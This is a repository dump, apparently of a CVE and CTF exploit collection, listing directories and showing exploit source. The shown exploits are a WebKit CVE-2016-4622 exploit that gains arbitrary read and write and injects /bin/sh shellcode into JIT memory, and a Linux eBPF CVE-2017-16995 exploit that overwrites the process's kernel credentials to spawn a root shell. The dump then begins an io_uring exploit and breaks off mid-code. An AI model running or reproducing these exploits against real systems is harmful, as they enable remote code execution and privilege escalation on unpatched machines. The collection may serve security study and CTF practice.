├── 0x00-cve-2016-4622-webkit-slice-oob ├── bin.tar.xz └── exp.js ├── 0x01-fireshell-2020-webkit-pwn └── fireshell.tar.xz ├── 0x02-cve-2017-16995-ebpf-signed-extend ├── Makefile ├── bpf_insn_helper.h ├── bzImage ├── config ├── exp ├── exp.c ├── initramfs.cpio ├── qemu_cmd └── vmlinux.tar.xz ├── 0x02-p0-issue-2011-io_uring_namespace ├── Makefile ├── bzImage ├── exp.c ├── initramfs.cpio ├── io_uring.h ├── qemu_cmd └── sample ├── 0x04-pwn2own-ebpf-jmp32-cve-2020-8835 ├── bzImage ├── config ├── exp │ ├── Makefile │ ├── bpf_insn.h │ ├── exp │ ├── exp.c │ └── linux │ │ └── bpf.h ├── initramfs.cpio └── qemu_cmd ├── 0x05-lokihardt-webkit-cve-2018-4441-shiftCountWithArrayStorage ├── exp.js └── jsc ├── 0x06-35c3-webkid-no-jit-watchpoint-patch ├── bin.tar.xz ├── exp.js ├── prob_readme.md ├── readme └── webkid.patch ├── 0x06-realworldctf2019-final-faststructcache-side-effect ├── bug.tar.xz ├── exp.js ├── nobug.tar.xz ├── patch.diff ├── readme └── sandbox.diff ├── 0x07-33c3-feuerfuchs-side-effect ├── exp.html ├── exp.js ├── feuerfuchs.patch ├── gadget ├── libc.so.6 ├── libxul.tar.xz └── readme ├── 0x08-cve-2019-11707-ionmonkey-type-confuse ├── exp │ ├── exp.html │ ├── exp.js │ ├── shellcode.js │ └── shellcode.py └── readme ├── 0x09-plaidctf-2020-mojo ├── e2xp.html └── readme.txt └── README.md /0x00-cve-2016-4622-webkit-slice-oob/bin.tar.xz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rtfingc/cve-repo/1be49bac8a3f20c3587246a3c853a29b7bd5f96c/0x00-cve-2016-4622-webkit-slice-oob/bin.tar.xz -------------------------------------------------------------------------------- /0x00-cve-2016-4622-webkit-slice-oob/exp.js: -------------------------------------------------------------------------------- 1 | var conversion_buffer = new ArrayBuffer(8) 2 | var f64 = new Float64Array(conversion_buffer) 3 | var i32 = new Uint32Array(conversion_buffer) 4 | 5 | var BASE32 = 0x100000000 6 | function f2i(f) { 7 | f64[0] = f 8 | return i32[0] + BASE32 * i32[1] 9 | } 10 | 11 | function i2f(i) { 12 | i32[0] = i % BASE32 13 | i32[1] = i / BASE32 14 | return f64[0] 15 | } 16 | 17 | var structs = []; 18 | function sprayStructures() { 19 | for (var i = 0; i < 1000; i++) { 20 | var a = [13.37]; 21 | a['prop'] = 13.37; 22 | a['prop' + i] = 13.37; 23 | structs.push(a); 24 | } 25 | } 26 | 27 | function addrof(obj){ 28 | var a=[]; 29 | for(var i=0;i<100;i++){ 30 | a.push(i+0.123); 31 | } 32 | var b=a.slice(0,{ 33 | valueOf:function(){ 34 | a.length=0; 35 | //print(describe(a)) 36 | var c=[obj]; 37 | //print(describe(c)) 38 | return 10; 39 | } 40 | }); 41 | //print(describe(b)) 42 | return f2i(b[4]); 43 | } 44 | 45 | 46 | 47 | function fakeobj(addr){ 48 | var a=[]; 49 | for(var i=0;i<100;i++){ 50 | a.push(0x1337) 51 | } 52 | addr = i2f(addr); 53 | var b= a.slice(0,{ 54 | valueOf:function(){ 55 | a.length=0; 56 | var c=[addr] 57 | print(describe(a)) 58 | print(describe(c)) 59 | return 10; 60 | } 61 | }); 62 | print(describe(b)) 63 | return b[4]; 64 | } 65 | 66 | 67 | sprayStructures() 68 | 69 | 70 | var victim = structs[0x300]; 71 | 72 | var header_arrayDouble=i2f(0x0108210700000200-0x1000000000000) 73 | var container={ 74 | fake_header:header_arrayDouble, 75 | butterfly: victim 76 | } 77 | 78 | //print(describe(container)) 79 | container_addr=addrof(container); 80 | hax = fakeobj(container_addr+0x10); 81 | 82 | print(container_addr.toString(16)); 83 | print(describe(hax)); 84 | print(describe(victim)); 85 | 86 | 87 | //hax[1]= i2f(addrof(hax)+0x10) 88 | //print(f2i(victim.prop).toString(16)) 89 | 90 | //ArrayWithDouble 91 | var unboxed = [1.1] 92 | unboxed[0]=3.3 93 | 94 | //ArrayWithContigous 95 | var boxed = [{}] 96 | 97 | hax[1] = i2f(addrof(unboxed)) 98 | var shared = victim[1] 99 | hax[1] = i2f(addrof(boxed)) 100 | victim[1] = shared; 101 | print(describe(unboxed)) 102 | print(describe(boxed)) 103 | 104 | 105 | var stage2={ 106 | addrof: function(obj){ 107 | boxed[0]=obj; 108 | return f2i(unboxed[0]) 109 | }, 110 | fakeobj: function(addr){ 111 | unboxed[0]=i2f(addr) 112 | return boxed[0] 113 | }, 114 | read64:function(addr){ 115 | hax[1]=i2f(addr+0x10) 116 | return this.addrof(victim.prop) 117 | }, 118 | write64:function(addr,data){ 119 | hax[1]=i2f(addr+0x10) 120 | victim.prop = this.fakeobj(data) 121 | }, 122 | getJITFunction : function (){ 123 | function target(num) { 124 | for (var i = 2; i < num; i++) { 125 | if (num % i === 0) { 126 | return false; 127 | } 128 | } 129 | return true; 130 | } 131 | for (var i = 0; i < 1000; i++) { 132 | target(i); 133 | } 134 | for (var i = 0; i < 1000; i++) { 135 | target(i); 136 | } 137 | for (var i = 0; i < 1000; i++) { 138 | target(i); 139 | } 140 | return target; 141 | }, 142 | getRWXMem: function(){ 143 | shellcodeFunc = this.getJITFunction() 144 | target_addr = this.read64(this.addrof(shellcodeFunc)+8*3) 145 | print(target_addr.toString(16)) 146 | target_addr = this.read64(target_addr + 8*3) 147 | target_addr = this.read64(target_addr + 8*4) 148 | return [shellcodeFunc, target_addr] 149 | }, 150 | injectShellcode : function (addr, shellcode){ 151 | var theAddr = addr; 152 | for(var i=0, len=shellcode.length; i < len; i++){ 153 | this.write64(target_addr+i, shellcode[i].charCodeAt()); 154 | } 155 | }, 156 | pwn:function(){ 157 | shellcodeObj = this.getRWXMem(); 158 | shellcode = "j;X\x99RH\xbb//bin/shST_RWT^\x0f\x05" 159 | this.injectShellcode(shellcodeObj[1], shellcode); 160 | var shellcodeFunc = shellcodeObj[0]; 161 | shellcodeFunc(); 162 | }, 163 | 164 | }; 165 | 166 | stage2.pwn() 167 | -------------------------------------------------------------------------------- /0x01-fireshell-2020-webkit-pwn/fireshell.tar.xz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rtfingc/cve-repo/1be49bac8a3f20c3587246a3c853a29b7bd5f96c/0x01-fireshell-2020-webkit-pwn/fireshell.tar.xz -------------------------------------------------------------------------------- /0x02-cve-2017-16995-ebpf-signed-extend/Makefile: -------------------------------------------------------------------------------- 1 | exp: exp.c 2 | gcc -s --static -o $@ $^ -lpthread 3 | #gcc -masm=intel --static -o $@ $^ -lpthread 4 | clean: exp 5 | rm $^ 6 | -------------------------------------------------------------------------------- /0x02-cve-2017-16995-ebpf-signed-extend/bpf_insn_helper.h: -------------------------------------------------------------------------------- 1 | #ifndef _BPF_INSN_HELPER_H__ 2 | #define _BPF_INSN_HELPER_H__ 3 | #include 4 | 5 | 6 | #define ALU_NEG BPF_ALU | BPF_NEG 7 | #define ALU_END_TO_BE BPF_ALU | BPF_END | BPF_TO_BE 8 | #define ALU_END_TO_LE BPF_ALU | BPF_END | BPF_TO_LE 9 | #define F_ALU64_ARSH_XBPF_ALU64 | BPF_ARSH | BPF_X 10 | #define F_ALU64_ARSH_KBPF_ALU64 | BPF_ARSH | BPF_K 11 | #define F_ALU64_NEG BPF_ALU64 | BPF_NEG 12 | 13 | #define BPF_INSN_NEG \ 14 | ((struct bpf_insn) { \ 15 | .code = 0, \ 16 | .dst_reg = 0, \ 17 | .src_reg = 0, \ 18 | .off = 0, \ 19 | .imm = 0 \ 20 | }) 21 | 22 | 23 | #define ALU_OP_K(OP,DST,IMM) \ 24 | ((struct bpf_insn) { \ 25 | .code = BPF_ALU | BPF_OP(OP) | BPF_K, \ 26 | .dst_reg = DST, \ 27 | .src_reg = 0, \ 28 | .off = 0, \ 29 | .imm = IMM \ 30 | }) 31 | 32 | #define ALU_OP_X(OP,DST,SRC) \ 33 | ((struct bpf_insn) { \ 34 | .code = BPF_ALU | BPF_OP(OP) | BPF_X, \ 35 | .dst_reg = DST, \ 36 | .src_reg = SRC, \ 37 | .off = 0, \ 38 | .imm = 0 \ 39 | }) 40 | 41 | #define ALU64_OP_K(OP,DST,IMM) \ 42 | ((struct bpf_insn) { \ 43 | .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ 44 | .dst_reg = DST, \ 45 | .src_reg = 0, \ 46 | .off = 0, \ 47 | .imm = IMM \ 48 | }) 49 | 50 | #define ALU64_OP_X(OP,DST,SRC) \ 51 | ((struct bpf_insn) { \ 52 | .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \ 53 | .dst_reg = DST, \ 54 | .src_reg = SRC, \ 55 | .off = 0, \ 56 | .imm = 0 \ 57 | }) 58 | 59 | 60 | #define ALU_ADD_K(DST,IMM) ALU_OP_K(BPF_ADD,DST,IMM) 61 | #define ALU_SUB_K(DST,IMM) ALU_OP_K(BPF_SUB,DST,IMM) 62 | #define ALU_AND_K(DST,IMM) ALU_OP_K(BPF_AND,DST,IMM) 63 | #define ALU_OR_K(DST,IMM) ALU_OP_K(BPF_OR,DST,IMM) 64 | #define ALU_LSH_K(DST,IMM) ALU_OP_K(BPF_LSH,DST,IMM) 65 | #define ALU_RSH_K(DST,IMM) ALU_OP_K(BPF_RSH,DST,IMM) 66 | #define ALU_XOR_K(DST,IMM) ALU_OP_K(BPF_XOR,DST,IMM) 67 | #define ALU_MUL_K(DST,IMM) ALU_OP_K(BPF_MUL,DST,IMM) 68 | #define ALU_MOV_K(DST,IMM) ALU_OP_K(BPF_MOV,DST,IMM) 69 | #define ALU_DIV_K(DST,IMM) ALU_OP_K(BPF_DIV,DST,IMM) 70 | #define ALU_MOD_K(DST,IMM) ALU_OP_K(BPF_MOD,DST,IMM) 71 | 72 | #define ALU_ADD_X(DST,SRC) ALU_OP_X(BPF_ADD,DST,SRC) 73 | #define ALU_SUB_X(DST,SRC) ALU_OP_X(BPF_SUB,DST,SRC) 74 | #define ALU_AND_X(DST,SRC) ALU_OP_X(BPF_AND,DST,SRC) 75 | #define ALU_OR_X (DST,SRC) ALU_OP_X (BPF_OR,DST,SRC) 76 | #define ALU_LSH_X(DST,SRC) ALU_OP_X(BPF_LSH,DST,SRC) 77 | #define ALU_RSH_X(DST,SRC) ALU_OP_X(BPF_RSH,DST,SRC) 78 | #define ALU_XOR_X(DST,SRC) ALU_OP_X(BPF_XOR,DST,SRC) 79 | #define ALU_MUL_X(DST,SRC) ALU_OP_X(BPF_MUL,DST,SRC) 80 | #define ALU_MOV_X(DST,SRC) ALU_OP_X(BPF_MOV,DST,SRC) 81 | #define ALU_DIV_X(DST,SRC) ALU_OP_X(BPF_DIV,DST,SRC) 82 | #define ALU_MOD_X(DST,SRC) ALU_OP_X(BPF_MOD,DST,SRC) 83 | 84 | #define ALU64_ADD_K(DST,IMM) ALU64_OP_K(BPF_ADD,DST,IMM) 85 | #define ALU64_SUB_K(DST,IMM) ALU64_OP_K(BPF_SUB,DST,IMM) 86 | #define ALU64_AND_K(DST,IMM) ALU64_OP_K(BPF_AND,DST,IMM) 87 | #define ALU64_OR_K(DST,IMM) ALU_64OP_K(BPF_OR,DST,IMM) 88 | #define ALU64_LSH_K(DST,IMM) ALU64_OP_K(BPF_LSH,DST,IMM) 89 | #define ALU64_RSH_K(DST,IMM) ALU64_OP_K(BPF_RSH,DST,IMM) 90 | #define ALU64_XOR_K(DST,IMM) ALU64_OP_K(BPF_XOR,DST,IMM) 91 | #define ALU64_MUL_K(DST,IMM) ALU64_OP_K(BPF_MUL,DST,IMM) 92 | #define ALU64_MOV_K(DST,IMM) ALU64_OP_K(BPF_MOV,DST,IMM) 93 | #define ALU64_DIV_K(DST,IMM) ALU64_OP_K(BPF_DIV,DST,IMM) 94 | #define ALU64_MOD_K(DST,IMM) ALU64_OP_K(BPF_MOD,DST,IMM) 95 | 96 | #define ALU64_ADD_X(DST,SRC) ALU64_OP_X(BPF_ADD,DST,SRC) 97 | #define ALU64_SUB_X(DST,SRC) ALU64_OP_X(BPF_SUB,DST,SRC) 98 | #define ALU64_AND_X(DST,SRC) ALU64_OP_X(BPF_AND,DST,SRC) 99 | #define ALU64_OR_X (DST,SRC) ALU64_OP_X (BPF_OR,DST,SRC) 100 | #define ALU64_LSH_X(DST,SRC) ALU64_OP_X(BPF_LSH,DST,SRC) 101 | #define ALU64_RSH_X(DST,SRC) ALU64_OP_X(BPF_RSH,DST,SRC) 102 | #define ALU64_XOR_X(DST,SRC) ALU64_OP_X(BPF_XOR,DST,SRC) 103 | #define ALU64_MUL_X(DST,SRC) ALU64_OP_X(BPF_MUL,DST,SRC) 104 | #define ALU64_MOV_X(DST,SRC) ALU64_OP_X(BPF_MOV,DST,SRC) 105 | #define ALU64_DIV_X(DST,SRC) ALU64_OP_X(BPF_DIV,DST,SRC) 106 | #define ALU64_MOD_X(DST,SRC) ALU64_OP_X(BPF_MOD,DST,SRC) 107 | 108 | 109 | #define JMP_OP_K(OP,DST,IMM,OFF) \ 110 | ((struct bpf_insn) { \ 111 | .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ 112 | .dst_reg = DST, \ 113 | .src_reg = 0, \ 114 | .off = OFF, \ 115 | .imm = IMM \ 116 | }) 117 | 118 | #define JMP_OP_X(OP,DST,SRC,OFF) \ 119 | ((struct bpf_insn) { \ 120 | .code = BPF_JMP | BPF_OP(OP) | BPF_X, \ 121 | .dst_reg = DST, \ 122 | .src_reg = SRC, \ 123 | .off = OFF, \ 124 | .imm = 0 \ 125 | }) 126 | #define F_JMP_JA BPF_JMP | BPF_JA 127 | #define F_JMP_CALL BPF_JMP | BPF_CALL 128 | #define F_JMP_TAIL_CALL BPF_JMP | BPF_CALL | BPF_X 129 | 130 | 131 | #define JMP_EXIT() \ 132 | ((struct bpf_insn) { \ 133 | .code = BPF_JMP | BPF_EXIT, \ 134 | .dst_reg = 0, \ 135 | .src_reg = 0, \ 136 | .off = 0, \ 137 | .imm = 0 \ 138 | }) 139 | #define JMP_CALL(FUNC) \ 140 | ((struct bpf_insn) { \ 141 | .code = BPF_JMP | BPF_CALL, \ 142 | .dst_reg = 0, \ 143 | .src_reg = 0, \ 144 | .off = 0, \ 145 | .imm = FUNC \ 146 | }) 147 | 148 | #define JMP_JNE_K(DST,IMM,OFF) JMP_OP_K(BPF_JNE,DST,IMM,OFF) 149 | #define JMP_JEQ_K(DST,IMM,OFF) JMP_OP_K(BPF_JEQ,DST,IMM,OFF) 150 | #define JMP_JGT_K(DST,IMM,OFF) JMP_OP_K(BPF_JGT,DST,IMM,OFF) 151 | #define JMP_JGE_K(DST,IMM,OFF) JMP_OP_K(BPF_JGE,DST,IMM,OFF) 152 | #define JMP_JSGT_K(DST,IMM,OFF) JMP_OP_K(BPF_JSGT,DST,IMM,OFF) 153 | #define JMP_JSGE_K(DST,IMM,OFF) JMP_OP_K(BPF_JSGE,DST,IMM,OFF) 154 | #define JMP_JSET_K(DST,IMM,OFF) JMP_OP_K(BPF_JSET,DST,IMM,OFF) 155 | 156 | #define JMP_JNE_X(DST,SRC,OFF) JMP_OP_X(BPF_JNE,DST,SRC,OFF) 157 | #define JMP_JEQ_X(DST,SRC,OFF) JMP_OP_X(BPF_JEQ,DST,SRC,OFF) 158 | #define JMP_JGT_X(DST,SRC,OFF) JMP_OP_X(BPF_JGT,DST,SRC,OFF) 159 | #define JMP_JGE_X(DST,SRC,OFF) JMP_OP_X(BPF_JGE,DST,SRC,OFF) 160 | #define JMP_JSGT_X(DST,SRC,OFF) JMP_OP_X(BPF_JSGT,DST,SRC,OFF) 161 | #define JMP_JSGE_X(DST,SRC,OFF) JMP_OP_X(BPF_JSGE,DST,SRC,OFF) 162 | #define JMP_JSET_X(DST,SRC,OFF) JMP_OP_X(BPF_JSET,DST,SRC,OFF) 163 | #define JMP_CALL_X(DST,SRC,OFF) JMP_OP_X(BPF_CALL,0,0,OFF) 164 | 165 | // [ det_reg + off ] = src 166 | #define STX_MEM_OP(SIZE,DST,OFF,SRC) \ 167 | ((struct bpf_insn) { \ 168 | .code = BPF_STX | BPF_MEM | BPF_SIZE(SIZE) , \ 169 | .dst_reg = DST, \ 170 | .src_reg = SRC, \ 171 | .off = OFF, \ 172 | .imm = 0 \ 173 | }) 174 | 175 | // [ dst_reg + off ] = IMM 176 | #define ST_MEM_OP(SIZE,DST,OFF,IMM) \ 177 | ((struct bpf_insn) { \ 178 | .code = BPF_ST | BPF_MEM | BPF_SIZE(SIZE) , \ 179 | .dst_reg = DST, \ 180 | .src_reg = 0, \ 181 | .off = OFF, \ 182 | .imm = IMM \ 183 | }) 184 | 185 | #define STX_XADD_W BPF_STX | BPF_XADD | BPF_W 186 | #define STX_XADD_DWBPF_STX | BPF_XADD | BPF_DW 187 | #define ST_MEM_B(DST,OFF,IMM) ST_MEM_OP(BPF_B,DST,OFF,IMM) 188 | #define ST_MEM_H(DST,OFF,IMM) ST_MEM_OP(BPF_H,DST,OFF,IMM) 189 | #define ST_MEM_W(DST,OFF,IMM) ST_MEM_OP(BPF_W,DST,OFF,IMM) 190 | #define ST_MEM_DW(DST,OFF,IMM) ST_MEM_OP(BPF_DW,DST,OFF,IMM) 191 | 192 | #define STX_MEM_B(DST,OFF,SRC) STX_MEM_OP(BPF_B,DST,OFF,SRC) 193 | #define STX_MEM_H(DST,OFF,SRC) STX_MEM_OP(BPF_H,DST,OFF,SRC) 194 | #define STX_MEM_W(DST,OFF,SRC) STX_MEM_OP(BPF_W,DST,OFF,SRC) 195 | #define STX_MEM_DW(DST,OFF,SRC) STX_MEM_OP(BPF_DW,DST,OFF,SRC) 196 | 197 | #define LD_ABS_W BPF_LD | BPF_ABS | BPF_W 198 | #define LD_ABS_H BPF_LD | BPF_ABS | BPF_H 199 | #define LD_ABS_B BPF_LD | BPF_ABS | BPF_B 200 | #define LD_IND_W BPF_LD | BPF_IND | BPF_W 201 | #define LD_IND_H BPF_LD | BPF_IND | BPF_H 202 | #define LD_IND_B BPF_LD | BPF_IND | BPF_B 203 | 204 | 205 | // dst_reg = [src_reg + off ] 206 | #define LDX_MEM_OP(SIZE,DST,SRC,OFF) \ 207 | ((struct bpf_insn) { \ 208 | .code = BPF_LDX | BPF_MEM | BPF_SIZE(SIZE) , \ 209 | .dst_reg = DST, \ 210 | .src_reg = SRC, \ 211 | .off = OFF, \ 212 | .imm = 0 \ 213 | }) 214 | 215 | // [ src_reg + off ] = IMM 216 | #define LD_MEM_OP(MODE,SIZE,DST,SRC,IMM) \ 217 | ((struct bpf_insn) { \ 218 | .code = BPF_LD | BPF_MODE(MODE) | BPF_SIZE(SIZE) , \ 219 | .dst_reg = DST, \ 220 | .src_reg = SRC, \ 221 | .off = 0, \ 222 | .imm = IMM \ 223 | }) 224 | 225 | #define LD_IMM_DW(DST,SRC,IMM) LD_MEM_OP(BPF_IMM,BPF_DW,DST,SRC,IMM) 226 | 227 | 228 | #define LDX_MEM_B(DST,SRC,OFF) LDX_MEM_OP(BPF_B,DST,SRC,OFF) 229 | #define LDX_MEM_H(DST,SRC,OFF) LDX_MEM_OP(BPF_H,DST,SRC,OFF) 230 | #define LDX_MEM_W(DST,SRC,OFF) LDX_MEM_OP(BPF_W,DST,SRC,OFF) 231 | #define LDX_MEM_DW(DST,SRC,OFF) LDX_MEM_OP(BPF_DW,DST,SRC,OFF) 232 | 233 | #endif 234 | -------------------------------------------------------------------------------- /0x02-cve-2017-16995-ebpf-signed-extend/bzImage: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rtfingc/cve-repo/1be49bac8a3f20c3587246a3c853a29b7bd5f96c/0x02-cve-2017-16995-ebpf-signed-extend/bzImage -------------------------------------------------------------------------------- /0x02-cve-2017-16995-ebpf-signed-extend/exp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rtfingc/cve-repo/1be49bac8a3f20c3587246a3c853a29b7bd5f96c/0x02-cve-2017-16995-ebpf-signed-extend/exp -------------------------------------------------------------------------------- /0x02-cve-2017-16995-ebpf-signed-extend/exp.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include "bpf_insn_helper.h" 14 | 15 | typedef uint32_t u32; 16 | typedef int32_t s32; 17 | typedef uint64_t u64; 18 | typedef int64_t s64; 19 | 20 | void logs(char *tag,char *buf){ 21 | printf("[ s]: "); 22 | printf(" %s ",tag); 23 | printf(": %s\n",buf); 24 | } 25 | void logx(char *tag,uint32_t num){ 26 | printf("[ x] "); 27 | printf(" %-20s ",tag); 28 | printf(": %-#8x\n",num); 29 | } 30 | void loglx(char *tag,uint64_t num){ 31 | printf("[lx] "); 32 | printf(" %-20s ",tag); 33 | printf(": %-#16lx\n",num); 34 | } 35 | void bp(char *tag){ 36 | printf("[bp] : %s\n",tag); 37 | getchar(); 38 | } 39 | 40 | void init(){ 41 | setbuf(stdin,0); 42 | setbuf(stdout,0); 43 | } 44 | 45 | int mapfd,progfd; 46 | int sockets[2]; 47 | #define LOG_BUF_SIZE 65536 48 | #define PROGSIZE 328 49 | #define PHYS_OFFSET 0xffff880000000000 50 | #define CRED_OFFSET 0x5b0 //0x5f8 51 | #define UID_OFFSET 0x4 52 | 53 | char bpf_log_buf[LOG_BUF_SIZE]; 54 | 55 | static int bpf_prog_load(enum bpf_prog_type prog_type, 56 | const struct bpf_insn *insns, int prog_len, 57 | const char *license, int kern_version) { 58 | union bpf_attr attr = { 59 | .prog_type = prog_type, 60 | .insns = (__u64)insns, 61 | .insn_cnt = prog_len / sizeof(struct bpf_insn), 62 | .license = (__u64)license, 63 | .log_buf = (__u64)bpf_log_buf, 64 | .log_size = LOG_BUF_SIZE, 65 | .log_level = 1, 66 | }; 67 | 68 | attr.kern_version = kern_version; 69 | 70 | bpf_log_buf[0] = 0; 71 | 72 | return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)); 73 | } 74 | 75 | static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, 76 | int max_entries) { 77 | union bpf_attr attr = { 78 | .map_type = map_type, 79 | .key_size = key_size, 80 | .value_size = value_size, 81 | .max_entries = max_entries 82 | }; 83 | 84 | return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); 85 | } 86 | 87 | static int bpf_update_elem(uint64_t key, uint64_t value) { 88 | union bpf_attr attr = { 89 | .map_fd = mapfd, 90 | .key = (__u64)&key, 91 | .value = (__u64)&value, 92 | .flags = 0, 93 | }; 94 | 95 | return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)); 96 | } 97 | 98 | static int bpf_lookup_elem(void *key, void *value) { 99 | union bpf_attr attr = { 100 | .map_fd = mapfd, 101 | .key = (__u64)key, 102 | .value = (__u64)value, 103 | }; 104 | 105 | return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)); 106 | } 107 | static void __exit(char *err) { 108 | fprintf(stderr, "error: %s\n", err); 109 | exit(-1); 110 | } 111 | 112 | static void writemsg(void) { 113 | char buffer[64]; 114 | 115 | ssize_t n = write(sockets[0], buffer, sizeof(buffer)); 116 | 117 | if (n < 0) { 118 | perror("write"); 119 | return; 120 | } 121 | if (n != sizeof(buffer)) 122 | fprintf(stderr, "short write: %lu\n", n); 123 | } 124 | 125 | #define __update_elem(a, b, c) \ 126 | bpf_update_elem(0, (a)); \ 127 | bpf_update_elem(1, (b)); \ 128 | bpf_update_elem(2, (c)); \ 129 | writemsg(); 130 | 131 | static uint64_t get_value(int key) { 132 | uint64_t value; 133 | 134 | if (bpf_lookup_elem(&key, &value)) 135 | __exit(strerror(errno)); 136 | 137 | return value; 138 | } 139 | 140 | static uint64_t __get_fp(void) { 141 | __update_elem(1, 0, 0); 142 | 143 | return get_value(2); 144 | } 145 | 146 | static uint64_t __read(uint64_t addr) { 147 | __update_elem(0, addr, 0); 148 | 149 | return get_value(2); 150 | } 151 | 152 | static void __write(uint64_t addr, uint64_t val) { 153 | __update_elem(2, addr, val); 154 | } 155 | 156 | static uint64_t get_sp(uint64_t addr) { 157 | return addr & ~(0x4000 - 1); 158 | } 159 | 160 | static void pwn(void) { 161 | printf("pwning\n"); 162 | uint64_t fp, sp, task_struct, credptr, uidptr; 163 | 164 | fp = __get_fp(); 165 | loglx("fpsome",fp); 166 | if (fp < PHYS_OFFSET) 167 | __exit("bogus fp"); 168 | 169 | sp = get_sp(fp); 170 | if (sp < PHYS_OFFSET) 171 | __exit("bogus sp"); 172 | 173 | task_struct = __read(sp); 174 | 175 | if (task_struct < PHYS_OFFSET) 176 | __exit("bogus task ptr"); 177 | 178 | printf("task_struct = %lx\n", task_struct); 179 | 180 | credptr = __read(task_struct + CRED_OFFSET); // cred 181 | 182 | if (credptr < PHYS_OFFSET) 183 | __exit("bogus cred ptr"); 184 | 185 | uidptr = credptr + UID_OFFSET; // uid 186 | /*uidptr = credptr + 4; // uid*/ 187 | if (uidptr < PHYS_OFFSET) 188 | __exit("bogus uid ptr"); 189 | 190 | printf("uidptr = %lx\n", uidptr); 191 | __write(uidptr, 0); 192 | __write(uidptr+0x8, 0); 193 | __write(uidptr+0x10, 0); 194 | 195 | if (geteuid() == 0) { 196 | printf("spawning root shell\n"); 197 | system("/bin/sh"); 198 | exit(0); 199 | } 200 | __exit("not vulnerable?"); 201 | 202 | } 203 | int main(int argc,char **argv){ 204 | init(); 205 | 206 | struct bpf_insn insns[] = { 207 | ALU_MOV_K(9,0xffffffff), // [0] r9 = 0xffffffff 208 | JMP_JNE_K(9,0xffffffff,2), // [1] if r9 != 0xffffffff: jmp [4] 209 | ALU64_MOV_K(0,0x0), // [2] r0 = 0 210 | JMP_EXIT(), // [3] exit 211 | LD_IMM_DW(9,1,3), // [4] r9 = mapfd 212 | BPF_INSN_NEG, // [5] 213 | //r6 = map[0] 214 | ALU64_MOV_X(1,9), // [6] r1 = r9 215 | ALU64_MOV_X(2,10), // [7] r2 = r10 (rbp) 216 | ALU64_ADD_K(2,-4), // [8] r2 = r2 -4 217 | ST_MEM_W(10,-4,0), // [9] [r10 - 4] =0 218 | JMP_CALL(BPF_FUNC_map_lookup_elem),// [10] map_lookup_elem 219 | JMP_JNE_K(0,0,1), // [11] if r0 != 0 : jmp [13] 220 | JMP_EXIT(), // [12] exit 221 | LDX_MEM_DW(6,0,0), // [13] r6 = [r0] 222 | 223 | // r7 =map[1] 224 | ALU64_MOV_X(1,9), // [14] r1 = r9 225 | ALU64_MOV_X(2,10), // [15] r2 = r10 (rbp) 226 | ALU64_ADD_K(2,-4), // [16] r2 = r2 -4 227 | ST_MEM_W(10,-4,1), // [17] [r10 - 4] =0 228 | JMP_CALL(BPF_FUNC_map_lookup_elem),// [18] map_lookup_elem 229 | JMP_JNE_K(0,0,1), // [19] if r0 != 0 : jmp [21] 230 | JMP_EXIT(), // [20] exit 231 | LDX_MEM_DW(7,0,0), // [21] r7 = [r0] 232 | 233 | // r8=map[2] 234 | ALU64_MOV_X(1,9), // [22] r1 = r9 235 | ALU64_MOV_X(2,10), // [23] r2 = r10 (rbp) 236 | ALU64_ADD_K(2,-4), // [24] r2 = r2 -4 237 | ST_MEM_W(10,-4,2), // [25] [r10 - 4] =0 238 | JMP_CALL(BPF_FUNC_map_lookup_elem),// [26] map_lookup_elem 239 | JMP_JNE_K(0,0,1), // [27] if r0 != 0 : jmp [29] 240 | JMP_EXIT(), // [28] exit 241 | LDX_MEM_DW(8,0,0), // [29] r8 = [r0] 242 | 243 | ALU64_MOV_X(2,0), // [30] r2 = r0 244 | ALU64_MOV_K(0,0), // [31] r0 = 0 245 | JMP_JNE_K(6,0,3), // [32] if r6 !=0: jmp [36] 246 | LDX_MEM_DW(3,7,0), // [33] r3 = [r7] (map[1]) 247 | STX_MEM_DW(2,0,3), // [34] [r2] = r3 248 | JMP_EXIT(), // [35] exit 249 | JMP_JNE_K(6,1,2), // [36] if r6 !=1: jmp [39] 250 | STX_MEM_DW(2,0,10), // [37] [r2] = r10 251 | JMP_EXIT(), // [38] exit 252 | STX_MEM_DW(7,0,8), // [39] [r7] = r8 253 | JMP_EXIT(), // [40] exit 254 | 255 | }; 256 | /*for(int i=0;i/dev/null 19 | -------------------------------------------------------------------------------- /0x02-cve-2017-16995-ebpf-signed-extend/vmlinux.tar.xz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rtfingc/cve-repo/1be49bac8a3f20c3587246a3c853a29b7bd5f96c/0x02-cve-2017-16995-ebpf-signed-extend/vmlinux.tar.xz -------------------------------------------------------------------------------- /0x02-p0-issue-2011-io_uring_namespace/Makefile: -------------------------------------------------------------------------------- 1 | exp: exp.c 2 | gcc -s --static -o $@ $^ -lpthread 3 | clean: exp 4 | rm $^ 5 | -------------------------------------------------------------------------------- /0x02-p0-issue-2011-io_uring_namespace/bzImage: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rtfingc/cve-repo/1be49bac8a3f20c3587246a3c853a29b7bd5f96c/0x02-p0-issue-2011-io_uring_namespace/bzImage -------------------------------------------------------------------------------- /0x02-p0-issue-2011-io_uring_namespace/exp.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | /*#include "linux/io_uring.h"*/ 11 | #include "io_uring.h" 12 | 13 | #ifndef SYS_io_uring_enter 14 | #define SYS_io_uring_enter 426 15 | #endif 16 | #ifndef SYS_io_uring_setup 17 | #define SYS_io_uring_setup 425 18 | #endif 19 | 20 | #define SYSCHK(x) ({ \ 21 | typeof(x) __res = (x); \ 22 | if (__res == 